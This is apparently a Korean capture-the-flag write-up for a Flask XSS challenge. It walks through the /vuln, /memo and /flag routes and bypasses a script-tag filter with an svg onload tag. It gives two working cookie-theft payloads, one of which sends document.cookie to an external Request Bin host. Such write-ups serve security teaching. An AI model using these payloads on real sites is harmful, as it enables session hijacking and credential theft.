[문제]
[풀이]
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
/vuln 페이지를 구성하는 코드이다. 코드를 살펴보면 render_template 함수를 통해 vuln.html을 출력한다.
/vuln 페이지에 접속하면 vuln.html의 내용을 확인할 수 있다. URL의 script 태그로 인해 alert 창이 출력되어야 하지만 출력되지 않는 것을 알 수 있다.
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
/memo 페이지를 구성하는 코드이다. 코드를 살펴보면 이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록하고 출력한다.
/memo 페이지에 접속하면 memo.html의 내용을 확인할 수 있다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
/flag 페이지를 구성하는 코드이다. 코드를 살펴보면 메서드에 따른 요청마다 다른 기능을 수행한다. GET 메서드일 경우 이용자에게 URL을 입력받는 페이지를 제공한다. POST 메서드일 경우 param 파라미터 값과 쿠키에 flag를 포함해 check_xss 함수를 호출한다. check_xss는 read_url 함수를 호출해 vuln 엔드 포인트에 접속한다.
/vuln 페이지의 URL에서 <script>alert(1)</script> 태그가 있음에도 불구하고 alert 창이 출력되자 않았다. script 태그 대신에 <svg/onload > 태그를 활용했더니 정상적으로 alert 창이 출력되었다. 즉, /vuln 페이지의 엔드 포인트에서 XSS 방화벽을 우회하여 임의 이용자의 쿠키를 탈취하는 것이 이 문제의 핵심으로 보인다.
첫 번째 방법으로는 /memo 페이지를 사용하는 것이다. /flag 페이지의 엔드 포인트에서 <svg/onload=location["href"]="http://127.0.0.1:8000/memo?memo="+document["cookie"]> 익스플로잇 코드를 입력한다.
익스플로잇 코드를 제출한 다음에 다시 /memo 페이지로 돌아가면 플래그를 확인할 수 있다.
두 번째 방법으로는 웹 서버를 사용하는 것이다. 외부에서 접근 가능한 웹 서버를 통해 탈취한 쿠키를 확인할 수 있다. 드림핵에서 제공하는 Request Bin 기능을 활용하였다.
flag 페이지의 엔드 포인트에서 <svg/onload=location["href"]="https://cqroxuj.request.dreamhack.games/memo?memo="+document["cookie"]> 익스플로잇 코드를 입력한다.
다시 Request Bin으로 돌아가서 이용자의 접속 기록을 살펴보면 플래그를 확인할 수 있다.